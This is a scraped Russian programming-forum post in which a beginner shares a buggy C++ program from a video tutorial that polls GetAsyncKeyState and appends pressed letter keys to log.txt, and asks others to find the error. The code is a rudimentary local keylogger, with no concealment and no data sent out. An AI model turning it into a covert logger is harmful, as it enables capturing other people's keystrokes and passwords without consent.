Форум программистов, компьютерный форум, киберфорум
Наши страницы

Подсчет и перехват нажатий клавиш - C++

Войти
Регистрация
Восстановить пароль
Другие темы раздела
C++ Перегрузка операторов умножения и присваивания для строк. http://www.cyberforum.ru/cpp-beginners/thread109900.html
Помогите, пожалуйста, реализовать перегрузку операторов умножения и присваивания для такого задания со строками: "Описать класс, 3 объекта используя разные конструкторы; увеличить в 2 раза объект #3...
C++ Подсчитать колличество слов начинающихся с первой буквы первого слова Дана строка ,которая водится с клавиатуры. Подсчитать колличество слов начинающихся с первой буквы первого слова #include "stdafx.h" #include "conio.h" //для функции getch() #include "cmath"... http://www.cyberforum.ru/cpp-beginners/thread109897.html
C++ unit-тестирование функции
Заполнить массив n´m нулями и единицами «цепочкой квадратов». Размер квадрата задается. Тест: K = 4 1 1 1 1 0 0 0 0 0 0 1 0 0 1 0 0 0 0 0 0 1 0 0 1 0 0 0 0 0 0 1 1 1 1 0 0 0 0 0 0 0 0 0 0 1 1...
C++ Задать массив вещественных чисел и вставить в исходный массив число
вот такая программка Задать массив вещественных чисел с помощью датчика случайных чисел. Вставить в исходный массив число. С клавиатуры ввести само число и номер элемента, после которого...
C++ [C++] Купюры http://www.cyberforum.ru/cpp-beginners/thread109874.html
Вариант 13. 1.Покупатель должен заплатить в кассу S р.У него имеются 1, 5, ,10, 50, 100, 500, 1000 и 10000р.Сколько купюр разного достоинства отдаст покупатель, если он начинает платить с самых...
C++ Определить стоимость приобретенных клиентом путевок, если известна цена одной путевки и количество приобретенных путевок Туристическая фирма предлагает снижение цен при покупке нескольких одинаковых путевок. Так, при покупке 4 путевок - скидка составляет 10% их общей стоимости, при покупке от 5 до 10 путевок - скидка... подробнее

Показать сообщение отдельно
NOU
1 / 1 / 0
Регистрация: 03.12.2009
Сообщений: 49
02.04.2010, 17:39  [ТС]
Цитата Сообщение от CyBOSSeR Посмотреть сообщение
NOU, посмотри здесь.
Неа, не компилится.

Вот, я посмотрел видео-тутор и набил код, все работает, кроме чегото:

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
// KL.cpp: определяет точку входа для консольного приложения.
//
 
#include "stdafx.h"
#include <iostream>
#include "windows.h"
#include <fstream>
using namespace std;
 
 
int main()
{
    ofstream file;
    const int numkeys=26;
    const int i_slp=10;
    bool pressed_last[100],pressed_now[100],exit=0;
    for(int i=0;i<100;i++)
    {
        pressed_last[i]=0;
        pressed_now[i]=0;
    }
    while(!exit)
    {
        int k;
        for(int i='A';i<='Z';i++)
        {
            pressed_now[k='A']=GetAsyncKeyState(i)!=0?1:0;
        }
        for(int i=0;i<numkeys;i++)
        {
 
            if(pressed_now[i]&&!pressed_last[i]){
                file.open("log.txt",ios::app);
                file<<char(i+'A');
                file.close();
                cout<<char(i+'A');
            }
        }
 
        for(int i=0;i<numkeys;i++)
            pressed_last[i]=pressed_now[i];
        exit=GetAsyncKeyState(118)!=0?1:0;
        Sleep(i_slp);
    }
    return 0;
}
Можете кто-нибудь скомпилить и найти где не так пожалуйста!?
0
 
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2017, vBulletin Solutions, Inc.
Рейтинг@Mail.ru